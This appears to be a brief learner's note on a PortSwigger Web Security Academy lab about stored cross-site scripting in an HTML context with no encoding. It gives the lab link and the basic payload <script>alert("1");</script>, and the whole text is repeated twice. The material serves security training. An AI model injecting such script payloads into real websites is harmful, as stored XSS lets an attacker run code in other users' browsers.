Stored XSS into HTML context with nothing encoded
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded

<script>alert("1");</script>

Last updated
https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded

<script>alert("1");</script>

Last updated